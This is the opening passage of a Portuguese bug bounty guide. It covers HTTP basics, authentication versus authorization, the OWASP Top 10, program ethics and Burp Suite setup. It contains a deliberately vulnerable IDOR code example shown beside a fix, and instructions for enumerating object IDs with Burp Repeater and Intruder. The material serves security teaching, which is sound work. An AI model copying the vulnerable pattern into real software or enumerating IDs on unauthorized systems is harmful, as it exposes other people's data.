ACERVO DE TI · POR MATHEUS LAIDLER

Bíblia do Bug Bounty

O guia completo, do zero ao avançado

Fundamentos · Recon · Severidade & Report · 22 classes de vulnerabilidade (IDOR, XSS, SQLi, SSRF, RCE, ATO, XXE, deserialização, cloud e mais) · Chaining · Caçada completa

Let's Hack the World!

Sobre o autor

Matheus Laidler — **Desenvolvedor Web** com formação em **Segurança da Informação**. No dia a dia une os dois mundos: constrói aplicações e também as quebra. Atua como **bug hunter** (*security researcher*) em programas autorizados e é **profissional de cibersegurança** — gosta, no fundo, de entender como as coisas funcionam e como burlá-las, de forma ética.

Transforma estudo em conteúdo, sem fins lucrativos: além do blog **Acervo de TI**, mantém um canal no YouTube (@matheuslaidler). O Acervo reúne, sob o seu nome, materiais que antes ficavam espalhados em outros projetos — *Road2Tech*, *WayOfSec* e *SecLab* — hoje unificados.

> **Nota ética:** todo o conteúdo é para **estudo e testes autorizados** (labs e programas de bug bounty/pentest com permissão). Use para proteger, reportar com responsabilidade e ensinar.

matheuslaidler.github.io · *Let's Hack the World!*

A **Bíblia do Bug Bounty** reúne, numa página só, todo o caminho do caçador de vulnerabilidades web — dos fundamentos (HTTP, recon, severidade e report) a um capítulo por classe de falha (IDOR, XSS, SQLi, SSRF, RCE, ATO, XXE, deserialização, cloud e mais), fechando com encadeamento de falhas e uma caçada completa do recon ao report. Tudo do básico ao avançado, com teoria, exploração passo a passo, defesa em camadas e checklist.

> `Let's Hack the World!` — este é o **guia completo de bug bounty** do Acervo de TI, reunido numa página só: do "nunca interceptei uma request" ao encadeamento avançado de falhas.

Esta é a **edição unificada** da série de bug bounty / segurança ofensiva web — escrita do **básico ao avançado** pra qualquer pessoa acompanhar. Cada capítulo é **autossuficiente** (explica o que precisa), e juntos formam uma trilha contínua: **fundamentos → recon → como medir e reportar → uma classe de vulnerabilidade por vez → encadeamento → caçada completa de ponta a ponta**. Em todo capítulo você encontra teoria, **como funciona por trás**, **exploração passo a passo** com payloads e bypasses exatos, caso real-fictício com request/response, **defesa em camadas**, ferramentas, labs legais e **checklist**.

> Os exemplos são **fictícios-realistas e anonimizados** — baseados em *padrões* de falhas reais, sem expor alvos, empresas ou dados de ninguém.

Como usar este guia

1. **Comece pelos Fundamentos** (Parte 1), na ordem — é o alicerce que o resto assume (HTTP, Burp, recon, como medir impacto e como reportar).
2. **Depois ataque as vulnerabilidades** (Parte 2). Dá pra ler na ordem que quiser; a sequência vai do mais comum/fundamental pro mais avançado.
3. **Pratique cada uma** nos labs indicados (PortSwigger Academy, DVWA, TryHackMe, HackTheBox, HackingClub) **antes** de tocar em qualquer programa real.
4. Terminou? A **Parte 3** mostra o pulo do gato: **encadear** falhas pequenas em algo crítico, e uma **caçada completa** do recon ao report.

> **Nota ética (vale pra tudo aqui).** Todo o conteúdo é pra **estudo e testes autorizados** — labs e programas de bug bounty/pentest com permissão. Testar sistemas de terceiros sem autorização é crime (no Brasil, art. 154-A do Código Penal), além de desnecessário: existe lab de sobra pra treinar à vontade. Use pra **proteger**, reportar com responsabilidade e ensinar. Cada capítulo repete a nota ética específica da sua classe — não é encheção: é o que separa pesquisador de invasor.

Sumário

Parte 1 — Fundamentos

- Fundamentos de Web Hacking & Bug Bounty: do zero ao primeiro alvo
- Recon & Discovery: encontrando a superfície de ataque
- Severidade, Impacto e Triagem: falando a língua do programa
- Como Escrever um Report que Paga: do título à defesa do impacto

Parte 2 — Vulnerabilidades (do básico ao avançado)

- Broken Access Control na Prática: IDOR, BOLA e BFLA do Básico ao Avançado
- Security Misconfiguration e Caça a CVEs/1-day
- Account Takeover (ATO): assumindo qualquer conta
- XSS e HTML Injection: do espelho ao controle do navegador
- SQL Injection: extraindo o banco da teoria à prática
- RCE: Command Injection, SSTI e Upload que viram shell
- SSRF: fazendo o servidor bater na porta de dentro
- LFI e Path Traversal: lendo arquivos que não deviam
- CRLF Injection e HTTP Request Smuggling: quebrando o protocolo
- Open Redirect: o trampolim subestimado
- Business Logic Flaws: quando a regra de negócio é a vulnerabilidade
- Race Conditions: explorando a janela entre checar e usar
- Denial of Service em nível de aplicação (com responsabilidade)
- Subdomain Takeover e Broken Link Hijacking: herdando o que ficou pra trás
- Bug Bounty em Mobile: testando apps Android/iOS (e a API por trás)
- Segurança de APIs: o OWASP API Security Top 10 na prática (REST e GraphQL)
- XXE (XML External Entity): abusando do parser de XML
- Insecure Deserialization: de objeto serializado a RCE
- Prototype Pollution: envenenando o Object do JavaScript
- Cloud & AWS Misconfiguration: S3, IAM, metadata e chaves vazadas

Parte 3 — Avançado e fechamento

- Chaining de Vulnerabilidades: somando falhas 'pequenas' em algo crítico
- Anatomia de uma Caçada: do Recon ao Report (walkthrough completo)

> Página gigante de propósito. Use **Ctrl/⌘+F** ou o Sumário pra pular direto. Os capítulos se referenciam por âncoras internas.

Parte 1 — Fundamentos

Antes de caçar bug, você precisa enxergar o que acontece **por trás** de cada clique. Esta parte monta o alicerce que todos os capítulos seguintes assumem: como a web conversa por HTTP, a diferença entre autenticação e autorização, o mapa do OWASP Top 10, o setup do Burp Suite, como fazer **recon**, como **medir o impacto** (CVSS/CWE/VRT) e como **escrever um report que paga**. Se já domina tudo isso, pule pra Parte 2 — mas vale a pena pelo menos passar o olho.

Fundamentos de Web Hacking & Bug Bounty: do zero ao primeiro alvo

Por que começar pelos fundamentos

Tem muita gente boa que trava no bug bounty não por falta de coragem, mas porque pulou a base. A pessoa aprende um payload de XSS decorado, joga em dez sites, não acontece nada, e conclui que "isso não funciona". O problema quase nunca é o payload — é que ela não enxerga o que está acontecendo **por trás** quando aperta um botão no navegador. Sem esse modelo mental, caçar bug vira loteria.

Este é o capítulo **base** do guia. Aqui a gente monta o alicerce que todos os outros assumem que você já tem: como a web conversa, o que é uma request HTTP de verdade, a diferença entre *autenticação* e *autorização* (que confunde até gente sênior), o mapa do OWASP Top 10 2021, o que é bug bounty e suas regras, e o setup do **Burp Suite** — a ferramenta que vai ser sua lupa pro resto da jornada. No fim, você consegue interceptar uma request, alterar e reenviar. É o "primeiro alvo" do título.

A área: onde o bug bounty se encaixa

Antes de sair caçando, entenda o terreno — começando por duas palavras que costumam ser tratadas como sinônimas, mas **não são**:

- **Segurança da Informação (InfoSec)** protege a **informação em qualquer forma** — digital, em papel, numa conversa, num contrato trancado na gaveta. É o conceito mais amplo; os pilares dela (a tríade CIA, logo abaixo) valem pra um servidor *e* pra um documento físico.
- **Cibersegurança (cybersecurity)** é a parte focada no **mundo digital**: proteger sistemas, redes, dispositivos e dados eletrônicos contra ameaças cibernéticas. Na prática é uma **especialização dentro da** segurança da informação (com bastante sobreposição — mas não são a mesma coisa).

Web hacking e bug bounty vivem na cibersegurança, mais especificamente na **segurança de aplicações (AppSec)**. E o campo, dos dois lados, se organiza por "cores" que se completam:

- **Defensivo (o lado "azul"):** quem protege — monitora, detecta, responde e corrige. O **Blue Team** é o time dessa linha (SOC, resposta a incidente, *hardening*).
- **Ofensivo (o lado "vermelho"):** quem **ataca para defender** — encontra a falha antes do criminoso, sempre com autorização. **É aqui que o bug bounty mora.** Não é um único papel: o lado ofensivo engloba **pentest**, **bug bounty / caça a vulnerabilidades** e o **Red Team** propriamente dito — que é uma disciplina específica (veja a tabela abaixo), não sinônimo de "ofensivo".

- **AppSec** atravessa os dois lados: tem a parte **defensiva** (escrever código seguro, *threat modeling*, revisão) e a **ofensiva** (testar a aplicação atrás de falhas). Bug bounty é, em boa parte, **AppSec ofensivo**.
- **Purple Team:** a **integração** entre o vermelho e o azul. Pode ser um **time dedicado** que reúne as duas funções, ou um **modo de trabalho/exercício** em que ofensivo e defensivo colaboram em ciclo: o atacante mostra *como* entrou, o defensor ajusta detecção e resposta, e juntos validam se a correção realmente fecha o buraco. O nome vem da mistura (vermelho + azul = roxo). O ponto **não** é "mais um time atacando" — é o **feedback loop** entre ataque e defesa.

> **Analogia:** o vermelho é o ladrão contratado pra testar a casa; o azul é a equipe de segurança que tenta pegá-lo; o roxo é os dois sentando juntos depois pra revisar as câmeras e tapar cada brecha que o ladrão usou. O atrito vira aprendizado.

Dentro do ofensivo, vale separar três coisas que confundem:

Modalidade	Como funciona	Pagamento
Pentest	Contratado, **escopo e prazo fixos**, relatório formal no fim	Por **tempo/projeto**
Bug Bounty	Programa **aberto e contínuo**; você acha o que quiser dentro do escopo	Por **resultado** (bounty por falha válida)
Red Team	Simula um adversário real de ponta a ponta; foco em testar **detecção e resposta**	Por **engajamento**

O bug bounty é majoritariamente **AppSec ofensivo**: o alvo costuma ser aplicação **web, mobile e API**. As principais plataformas que intermediam programas são **HackerOne** e **Bugcrowd** (as maiores), **Intigriti** e **YesWeHack** (fortes na Europa) e **Synack** (só por convite). Detalhamos como funcionam (escopo, regras, VDP × pago) mais abaixo, em "*O que é bug bounty*".

Os pilares da Segurança da Informação (a tríade CIA — ou CID, em português)

Toda vulnerabilidade, no fundo, **quebra um destes três pilares** — e saber qual é ajuda demais na hora de explicar o **impacto** de um report.

- **C — Confidencialidade:** só quem tem permissão acessa o dado. *Quebra:* um **IDOR** que te deixa ler a fatura de outro cliente; um vazamento de PII.
- **I — Integridade:** o dado não pode ser alterado indevidamente. *Quebra:* manipular o preço de um pedido, ou um **BFLA** que deixa você alterar o cadastro de outra pessoa.
- **A — Disponibilidade (Availability):** o sistema fica no ar pra quem precisa. *Quebra:* um **DoS** que derruba a aplicação.

> **Analogia:** pense num cofre de banco. **Confidencialidade** é só o dono abrir; **Integridade** é o saldo lá dentro não ser adulterado; **Disponibilidade** é o cofre abrir quando o dono precisa. Tirar qualquer uma das três já é um problema de segurança.

Dois primos completam o time: **Autenticidade** (a informação/usuário é mesmo quem diz ser) e **Não-repúdio** (não dá pra negar que fez uma ação — logs, assinaturas). Guarde a tríade CIA: no capítulo de Severidade e Impacto, é exatamente a partir dela que a gente mede o tamanho de uma falha.

Como a web funciona (cliente, servidor e banco de dados)

Antes de quebrar, você precisa entender o que está montado. Uma aplicação web tem, no mínimo, três peças:

> **Analogia:** pense num restaurante. Você (o **cliente**) faz um pedido ao garçom. O garçom leva pra **cozinha** (o servidor), que prepara o prato consultando a **despensa** (o banco de dados). O prato volta pela mesma rota. Você nunca entra na cozinha nem na despensa — só recebe o que mandaram trazer. Web hacking é, em grande parte, **mandar pedidos que o garçom não esperava** e ver o que a cozinha devolve.

As três peças:

- **Cliente (browser):** roda HTML, CSS e JavaScript na *sua* máquina. Tudo aqui está sob seu controle — e é por isso que **nenhuma checagem de segurança feita só no cliente vale alguma coisa**. Botão escondido, campo `disabled`, validação em JS: tudo isso você consegue burlar.
- **Servidor (backend):** recebe as requisições, aplica a **lógica de negócio**, decide quem pode o quê e responde. É aqui que a segurança *de verdade* mora (ou deveria morar).
- **Banco de dados (DB):** onde os dados ficam guardados (usuários, pedidos, faturas). O servidor consulta o banco; o cliente **nunca** fala direto com ele.

A conversa entre cliente e servidor acontece via **HTTP** (ou HTTPS, que é HTTP dentro de um túnel TLS criptografado). Entender HTTP é o ponto de partida obrigatório — é a língua que você vai falar a partir de agora.

Anatomia do HTTP

HTTP é um protocolo de **requisição e resposta**: o cliente manda uma *request*, o servidor manda uma *response*. Cada troca é independente — o protocolo é **stateless** (não lembra da request anterior por conta própria; já já vemos como cookies resolvem isso).

A request por dentro

Uma requisição HTTP crua tem esta cara (é literalmente o que viaja na rede):

```
GET /api/perfil?id=1001 HTTP/2
Host: app.exemplo.com
User-Agent: Mozilla/5.0
Accept: application/json
Cookie: session=abc123
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
```

Decompondo:

1. **Linha inicial:** `GET /api/perfil?id=1001 HTTP/2` — o **método** (`GET`), o **caminho** (`/api/perfil`) com a **query string** (`?id=1001`), e a versão do protocolo.
2. **Headers:** metadados em pares `Chave: Valor` (quem é o host, o que o cliente aceita, credenciais...).
3. **Corpo (body):** opcional. `GET` normalmente não tem corpo; `POST` / `PUT` carregam dados aqui (um JSON, um formulário).

Métodos HTTP

O método diz **a intenção** da request. Os que você mais vai mexer:

Método	Pra que serve	É seguro?	É idempotente?
GET	Buscar/ler um recurso. **Não deve** alterar nada no servidor	Sim	Sim
POST	Criar recurso ou disparar uma ação (login, pagamento)	Não	Não
PUT	Substituir um recurso inteiro pelo conteúdo enviado	Não	Sim
DELETE	Apagar um recurso	Não	Sim
PATCH	Alterar **parcialmente** um recurso	Não	Não

Dois conceitos da especificação que valem ouro pro hunter (definições da MDN):

- **Seguro (safe):** o método **não altera o estado** do servidor — só lê. `GET`, `HEAD`, `OPTIONS` e `TRACE` são seguros (na prática, o TRACE costuma vir desabilitado, por causa de *Cross-Site Tracing*).
- **Idempotente:** chamar **N vezes** dá o mesmo efeito de chamar **uma vez**. `GET`, `PUT`, `DELETE` são idempotentes; `POST` e `PATCH` **não** são.

> **Por que isso importa na caça:** se uma aplicação valida autorização no `GET /pedido/1001` mas esquece de validar no `POST`, `PUT` ou `DELETE` do mesmo recurso, você acabou de achar uma falha. **Sempre teste todos os métodos** — muita gente checa só o método "óbvio".

Status codes (códigos de resposta)

A resposta sempre começa com um número de três dígitos. A primeira casa define a família (MDN — HTTP response status codes):

Família	Significado	Exemplos que importam
1xx	Informativo	(raro no dia a dia)
2xx	Sucesso	`200 OK`, `201 Created`, `204 No Content`
3xx	Redirecionamento	`301 Moved Permanently`, `302 Found`, `304 Not Modified`
4xx	Erro **do cliente**	`400`, `401`, `403`, `404`, `405`, `429`
5xx	Erro **do servidor**	`500`, `502`, `503`

Os que você lê o tempo todo testando:

- **`200 OK`** — deu certo. Se você trocou um `id` e veio `200` com dado que não é seu, acendeu a luz.
- **`401 Unauthorized`** — apesar do nome, significa **"não autenticado"**: você precisa se identificar (logar) primeiro.
- **`403 Forbidden`** — você **está identificado**, mas **não tem permissão** pra esse recurso. (Guarde a diferença `401` x `403`, ela é o coração da próxima seção.)
- **`404 Not Found`** — recurso não existe. Às vezes uma API devolve `404` em vez de `403` de propósito, pra não revelar que o objeto existe.
- **`405 Method Not Allowed`** — o método é conhecido mas não é aceito ali. Pista pra trocar `GET` ↔ `POST`.
- **`429 Too Many Requests`** — rate limiting. A ausência dele em fluxos sensíveis (login, OTP) é, por si só, uma falha reportável.
- **`500 Internal Server Error`** — o servidor quebrou. Erro inesperado costuma vazar stack traces e dados — bom sinal de que você empurrou um input que ele não esperava.

Headers que todo hunter precisa conhecer

Headers são onde mora metade da diversão. Os essenciais:

Header	Direção	Pra que serve
`Host`	request	Diz qual site você quer (vários sites num mesmo IP)
`Authorization`	request	Carrega o token de credencial (ex.: `Bearer <jwt>`)
`Cookie`	request	Manda os cookies de volta ao servidor (sessão)
`Content-Type`	ambos	Formato do corpo (`application/json`, `application/x-www-form-urlencoded`)
`Set-Cookie`	response	Servidor cria/atualiza um cookie no cliente

Header	Direção	Pra que serve
`Location`	response	Pra onde redirecionar (acompanha `3xx`)
`X-Forwarded-For`	request	IP de origem alegado — muito abusado em bypasses

Cookies e sessão (como a web "lembra" de você)

HTTP é stateless: cada request nasce "amnésica". Então como o site sabe que você continua logado entre uma página e outra? Com **cookies**.

> **Analogia:** é a pulseirinha de festa. Na entrada você mostra o ingresso (login) e recebe uma pulseira (cookie de sessão). Daí pra frente, em vez de mostrar o ingresso toda hora, você só ergue o braço — a pulseira prova que você já entrou.

O fluxo:

```
# 1) Você loga — o servidor cria a sessão e devolve a "pulseira"
POST /login HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"usuario":"alice","senha":"..."}
```

```
# Resposta: o servidor te entrega o cookie
HTTP/2 200 OK
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax   # <- a "pulseira"
```

```
# 2) Nas próximas requests, o browser reenvia o cookie automaticamente
GET /api/perfil HTTP/2
Host: app.exemplo.com
Cookie: session=abc123   # <- prova que é você, sem relogar
```

Três flags de cookie que você precisa reconhecer (vão aparecer em vários capítulos do guia):

- **`HttpOnly`** — o JavaScript da página **não** consegue ler o cookie. Mitiga roubo de sessão via XSS.
- **`Secure`** — o cookie só viaja por HTTPS.
- **`SameSite`** — controla se o cookie é enviado em requests vindas de **outros sites**. É a primeira linha de defesa contra **CSRF**.

Além de cookies de sessão, muitas APIs modernas usam **tokens** (tipo JWT) no header `Authorization: Bearer ...`. Mesma ideia — uma credencial que prova quem você é a cada request — só que sem depender de cookie.

O que é uma vulnerabilidade web

Uma **vulnerabilidade** é uma falha que faz a aplicação se comportar de um jeito que **não foi pretendido**, com impacto em **confidencialidade, integridade ou disponibilidade** (a tríade CIA/CID). Não é "achar um erro feio na tela" — é conseguir fazer algo que você **não deveria** poder.

> **Analogia:** o cofre do hotel ser inquebrável não adianta se a senha-mestra é `0000` e está escrita atrás da porta. A vulnerabilidade raramente é "a criptografia é fraca"; quase sempre é uma **suposição errada** que o desenvolvedor fez — "ninguém vai trocar esse número", "esse campo é validado no front", "esse endpoint é secreto".

A causa-raiz da maioria esmagadora das falhas web é **uma só**: o servidor **confia em algo que veio do cliente**. O id na URL, o `role` no corpo da request, o preço no carrinho, o header `X-Forwarded-For`. Tudo que sai do navegador é controlável pelo usuário — e tratar isso como confiável é a origem do IDOR, da injeção, do bypass de autorização e de quase tudo que você vai estudar neste guia.

Autenticação vs Autorização (deixa cristalino)

Essas duas palavras parecem sinônimas e **não são**. Misturá-las é a fonte número 1 de confusão — e a falha #1 do OWASP nasce exatamente de errar a segunda.

	Autenticação (AuthN)	**Autorização (AuthZ)**
Pergunta que responde	**"Quem é você?"**	**"Você pode fazer isso?"**
Quando acontece	No login	Em **cada** ação/recurso, depois do login
Falha típica	Login fraco, bypass de senha, JWT quebrado	IDOR, BOLA, BFLA, acesso a função de admin
Status code	`401 Unauthorized` (= não autenticado)	`403 Forbidden` (= autenticado, sem permissão)

> **Analogia:** entrar no prédio do escritório com seu crachá é **autenticação** — a catraca confirma que você é funcionário. Mas o seu crachá só **deveria** abrir a porta do *seu* andar; se ele abre a sala do CEO e o cofre do financeiro, isso é falha de **autorização**. O prédio sabe quem você é; só errou no que você pode fazer.

Em código, o erro clássico é checar **só** a autenticação:

```
// VULNERÁVEL — verifica que você está logado, mas não que o pedido é SEU
function getPedido() {
    if (!usuarioEstaLogado()) {           // autenticação: OK
```

```
        http_response_code(401);
        return;
    }
    $id = $_GET['id'];                    // <- confia no id que veio do cliente
    return Pedido::find($id);             // entrega pra qualquer um autenticado
}
```

```
// CORRETO — verifica também a PROPRIEDADE (autorização)
function getPedido() {
    if (!usuarioEstaLogado()) {
        http_response_code(401);
        return;
    }
    $pedido = Pedido::where('id', $_GET['id'])
                    ->where('dono_id', usuarioLogadoId())  // <- a checagem que faltava
                    ->first();
    if (!$pedido) { http_response_code(403); return; }     // logado, mas não é seu
    return $pedido;
}
```

Grave isso: **autenticação não implica autorização**. Estar logado não te dá direito a tudo — e quase todo bug de acesso vive nessa lacuna. (Este guia tem um capítulo inteiro sobre isso: Broken Access Control — IDOR, BOLA e BFLA.)

O mapa: OWASP Top 10 2021

O OWASP Top 10 é a lista das categorias de risco mais críticas em aplicações web, mantida pela Open Worldwide Application Security Project. É o **mapa do território** — vale memorizar, porque programas de bug bounty, triagers e classificações de severidade falam essa língua.

A edição mais recente é a 2025, mas neste capítulo a gente aprende pela edição de 2021 — e isso é proposital. O 2021 ainda é a referência que **a esmagadora maioria** dos programas de bug bounty, triagers e materiais de estudo usa hoje; as categorias são mais estáveis e didáticas pra começar. Quando você dominar o 2021, a transição pro 2025 é só ajuste (veja o quadro depois da tabela). Segue o **2021**:

#	Categoria	Em uma frase
A01	Broken Access Control	Acessar dado/função de outra pessoa (IDOR, BOLA, BFLA) — a que mais paga
A02	Cryptographic Failures	Dado sensível mal protegido (sem TLS, hash fraco, segredo exposto)
A03	Injection	Input vira código/comando (SQLi, NoSQLi, command injection, XSS)
A04	Insecure Design	Falha de **arquitetura/lógica** — o design já nasceu errado
A05	Security Misconfiguration	Configuração errada (defaults, painéis abertos, headers ausentes)

#	Categoria	Em uma frase
A06	Vulnerable and Outdated Components	Biblioteca/serviço desatualizado com CVE conhecida
A07	Identification and Authentication Failures	Falha no login (senha fraca, sessão mal gerida, MFA furado)
A08	Software and Data Integrity Failures	Confiar em update/pipeline/dado sem checar integridade (ex.: deserialização insegura)
A09	Security Logging and Monitoring Failures	Não logar/monitorar — o ataque acontece e ninguém vê
A10	Server-Side Request Forgery (SSRF)	Forçar o servidor a fazer requisições pra onde você quer (rede interna, metadados de cloud)

Não precisa decorar tudo de cara. Comece dominando **A01** e **A03** — são as que mais aparecem e mais pagam — e use a lista como índice pra estudar o resto.

> **E o OWASP Top 10 2025?** A edição nova já saiu e reorganizou a lista. As mudanças que valem conhecer: **Broken Access Control segue em #1**; **Security Misconfiguration sobe pra #2**; **Injection cai pra #5** e **Insecure Design pra #6**; **Vulnerable and Outdated Components** vira **Software Supply Chain Failures** (#3, escopo mais amplo); o **SSRF deixa de ser categoria própria e foi absorvido por Broken Access Control**; e entra uma categoria nova, **Mishandling of Exceptional Conditions** (#10). O **raciocínio** continua o mesmo — só mudaram nomes e posições. Aprenda o 2021 primeiro (é o que os programas ainda usam) e leia o 2025 como "diff".

O que é bug bounty (escopo, regras e ética)

Bug bounty é um programa em que uma empresa **autoriza** pesquisadores externos a procurar falhas nos seus sistemas e **paga recompensa** (bounty) por vulnerabilidades válidas reportadas com responsabilidade. As plataformas mais usadas são **HackerOne, Bugcrowd, Intigriti e YesWeHack**.

A palavra que sustenta tudo isso é **autorização**. Sem um programa que te autoriza, testar o sistema de terceiros é **crime** — não importa quão "do bem" seja a intenção. Por isso, antes de qualquer payload, você lê:

- **Escopo (scope):** *o que* você pode testar. Lista exatamente os domínios, apps e APIs **in-scope**. Tudo que estiver fora é **out-of-scope** e não pode ser tocado. O escopo também diz **quais classes de falha** valem — tem programa que coloca IDOR ou rate limit **fora de escopo**, e tem programa que paga muito bem por eles. **Ler as regras é parte do trabalho.**
- **Regras de engajamento:** o que é proibido (ex.: ataques de DoS, engenharia social com funcionários reais, testar contas de outros usuários, automação agressiva sem limite).

- **Política de divulgação:** quando e como você pode tornar a falha pública. O padrão é **divulgação coordenada/responsável**: você reporta **em privado**, dá tempo pro time corrigir, e só divulga depois (se a política permitir). Nunca solte um 0-day no Twitter pra ganhar likes.

> **Tipos de programa: VDP** (Vulnerability Disclosure Program) geralmente **não paga** — você reporta por reputação/pontos. **BBP** (Bug Bounty Program) paga em dinheiro. Muitos programas privados (os que pagam melhor) só chegam por **convite**, e os convites vêm de quem construiu **reputação** em programas públicos/VDP.

Ética e legalidade — inegociável

- **Só toque no que está autorizado e dentro do escopo.** Trocar um `id` no sistema de alguém sem programa que autorize é invasão, prevista em lei (no Brasil, art. 154-A do Código Penal).
- **Prova de conceito mínima.** Demonstre a falha com o **menor** impacto possível. Não baixe a base de dados inteira de PII pra "provar" — um ou dois registros mascarados bastam.
- **Não cause dano.** Nada de derrubar serviço, apagar dado de produção ou usar conta real de terceiro.
- **Reporte com responsabilidade.** Privado primeiro, divulgação só quando permitido.

Vai treinar? Use **labs feitos pra isso** (próxima seção). É lá que você quebra à vontade, sem risco legal.

Setup do Burp Suite (passo a passo)

O **Burp Suite** é o canivete suíço do hunter web: um **proxy de interceptação** que fica **entre o seu navegador e o servidor**, deixando você **ler, pausar, editar e reenviar** cada request. Sem ele, você está cego — vê só o que a página resolve te mostrar. Com ele, você vê (e controla) o HTTP cru.

A versão **Community** é grátis e cobre tudo o que precisamos aqui (Proxy, Repeater e Intruder com limite). O fluxo abaixo segue o roteiro oficial do Getting started with Burp Suite.

> **Analogia:** o Burp é um grampo na linha telefônica — só que da SUA própria ligação, e com permissão. Você ouve a conversa entre browser e servidor, e pode **interromper no meio pra mudar o que foi dito** antes de chegar do outro lado.

Passo 1 — Instalar e abrir

Baixe em portswigger.net/burp, instale e abra. Escolha **Temporary project** → **Use Burp defaults** → **Start Burp**.

Passo 2 — Usar o navegador embutido (caminho mais fácil)

O Burp vem com um **browser embutido** já pré-configurado pra passar pelo proxy — sem mexer em proxy do sistema nem instalar certificado manualmente. Vá em **Proxy → Intercept** e clique em **Open Browser**. É a forma recomendada pra começar.

> Se preferir usar **seu** navegador (Firefox/Chrome), siga o Passo 2b. É o caminho que a maioria usa no dia a dia, porque você navega no ambiente real (suas extensões, suas sessões).

Passo 2b — Usar o SEU navegador (proxy + certificado, na mão)

Usar o navegador embutido é o atalho, mas em alvos reais você quase sempre vai querer o **seu** navegador. Pra isso, dois ajustes: **apontar o tráfego pro Burp** e **confiar no certificado dele** (senão todo HTTPS quebra).

1. Entenda o que está acontecendo. O Burp escuta, por padrão, em `127.0.0.1:8080` (veja/edite em **Proxy → Proxy settings → Proxy listeners**). Você precisa fazer o navegador mandar as requests pra esse IP:porta em vez de ir direto pro site. É o "host:porta" que vai aparecer em tudo daqui pra frente.

2. Direcione o navegador com o FoxyProxy (extensão que liga/desliga proxy num clique — muito melhor que mexer no proxy do sistema toda hora). Instale o **FoxyProxy** (Firefox / Chrome) e crie um perfil:

```
Title:    Burp
Proxy Type / Type:   HTTP
Proxy IP / Host:     127.0.0.1
Port:                8080
```

Salve e, na barra do navegador, clique no ícone do FoxyProxy → selecione **Burp** pra ativar (e **Disable/Turn Off** pra voltar ao normal). Pronto: o tráfego do navegador agora passa pelo Burp.

> Sem extensão dá pra fazer no próprio Firefox em **Settings → Network Settings → Manual proxy**: `HTTP Proxy 127.0.0.1`, `Port 8080`, e marque **"Also use this proxy for HTTPS"**. Mas o FoxyProxy é bem mais prático.

3. Instale o certificado CA do Burp (pra HTTPS não dar erro). Com o proxy ativo, acesse `http://burp` no navegador → botão **CA Certificate** → baixe o `cacert.der`. Depois importe no navegador:

- **Firefox** (tem sua própria store de certificados): `Settings → Privacy & Security → Certificates → View Certificates → Authorities → Import` → selecione o arquivo → marque **"Trust this CA to identify websites"**.
- **Chrome/Edge** (usa a store do sistema): abra o gerenciador em `chrome://settings/certificates` → aba **Authorities** → **Import**, ou importe direto na store do SO (no Linux costuma precisar converter pra `.crt` / `.pem` com `openssl x509 -inform der -in cacert.der -out burp.crt`).

> **Por que o certificado?** O Burp faz um "MITM do bem" no SEU tráfego: ele intercepta o HTTPS apresentando um certificado próprio. O navegador só confia nesse certificado se a CA do Burp estiver instalada — por isso, sem esse passo, todo site HTTPS acusa erro de TLS.

Alternativas ao Burp (mesma ideia de proxy de interceptação): **OWASP ZAP** (gratuito e ótimo pra começar), **Charles Proxy** (pago, muito usado pra debug web/mobile), **mitmproxy** (linha de comando, scriptável em Python) e **Caido** (proxy moderno e leve). O conceito de "apontar o navegador pro proxy + instalar o certificado" é **o mesmo** em todos — muda só a interface.

Passo 3 — Interceptar uma request

Em **Proxy → Intercept**, ative **Intercept is on**. Agora navegue no browser do Burp pra qualquer página *autorizada* (use um lab — veja a seção seguinte). O Burp vai **pausar** a request e mostrar pra você:

```
GET /api/perfil?id=1001 HTTP/2          # <- aqui você pode editar antes de enviar
Host: app.exemplo.com
Cookie: session=abc123
```

Clique **Forward** pra deixar passar, ou **Drop** pra descartar. Toda request que passa fica registrada em **Proxy → HTTP history** — é seu histórico completo pra revisitar depois.

Passo 4 — Reenviar e brincar no Repeater

O **Repeater** é onde você passa 80% do tempo. Ele pega uma request e deixa você **editar e reenviar quantas vezes quiser**, vendo a resposta lado a lado. É o lugar pra testar "e se eu trocar esse número?".

Na HTTP history (ou no Intercept), clique com o botão direito na request → **Send to Repeater** → aba **Repeater**. Edite o que quiser e clique **Send**:

```
GET /api/perfil?id=1001 HTTP/2   # original
GET /api/perfil?id=1002 HTTP/2   # <- troca o id e reenvia: voltou dado de outro?
```

Se a resposta vier `200 OK` com dados que não são seus, você acabou de confirmar manualmente um possível **IDOR** — tudo no Repeater.

Passo 5 — Automatizar com o Intruder

Quando você precisa testar **muitos valores** (enumerar 1000 ids, fuzzar um parâmetro, testar uma lista de payloads), o **Intruder** automatiza. Botão direito na request → **Send to Intruder** → aba **Intruder**:

1. **Positions:** marque com `§` o ponto que varia. Ex.: `?id=§1001§`.
2. **Attack type:** comece com **Sniper** (um único ponto, percorre uma lista).
3. **Payloads:** escolha o conjunto. Pra ids sequenciais, use **Numbers** (ex.: de `1000` a `2000`).
4. **Start attack** e ordene a tabela por **Status** e **Length** — respostas diferentes do padrão (vários `200` com tamanhos distintos) são as que merecem atenção.

> A versão **Community** roda o Intruder **com throttling** (lento de propósito). Pra enumeração séria existe a **Professional**, mas pra aprender e provar o conceito a Community resolve.

Pronto: interceptou, editou, reenviou e automatizou. Esse é o ciclo que se repete em **todo** capítulo técnico deste guia.

Mindset do hunter (onde começar de verdade)

Ferramenta e teoria você pega rápido. O que separa quem ganha dinheiro de quem desiste é **cabeça**. O que funciona na prática:

- **Comece por VDP e pelo DoD.** Programas de VDP (HackerOne, Bugcrowd, Intigriti, YesWeHack) e o **DoD** (Department of Defense, na HackerOne) aceitam até falhas simples e dão **reputação/pontos**. Reputação destrava **convites pra programas privados** — que são menos lotados e pagam melhor. É o caminho clássico: reporta em VDP/DoD → sobe no rank → chovem convites privados.
- **Profundidade > superfície.** A "casca" do alvo (o que aparece num scan rápido) já foi varrida por milhares de bots rodando 24/7. Você não ganha competindo com automação na superfície. Ganha indo **fundo num fluxo** que a maioria ignora — entender de verdade como uma funcionalidade funciona e perceber o que os outros não perceberam.
- **Analise o fluxo, não decore checklist.** Checklist é ótimo pra não esquecer o básico, mas o diferencial está em **raciocinar sobre a lógica** da aplicação. Os

melhores bugs (lógica de negócio, broken access control) não saltam de scanner — saltam de quem **observa**.
- **Foque um escopo e domine.** Em vez de pular de alvo em alvo, escolha **um** programa, entenda a aplicação a fundo e detone. Conhecimento profundo de um alvo rende mais que conhecimento raso de dez.
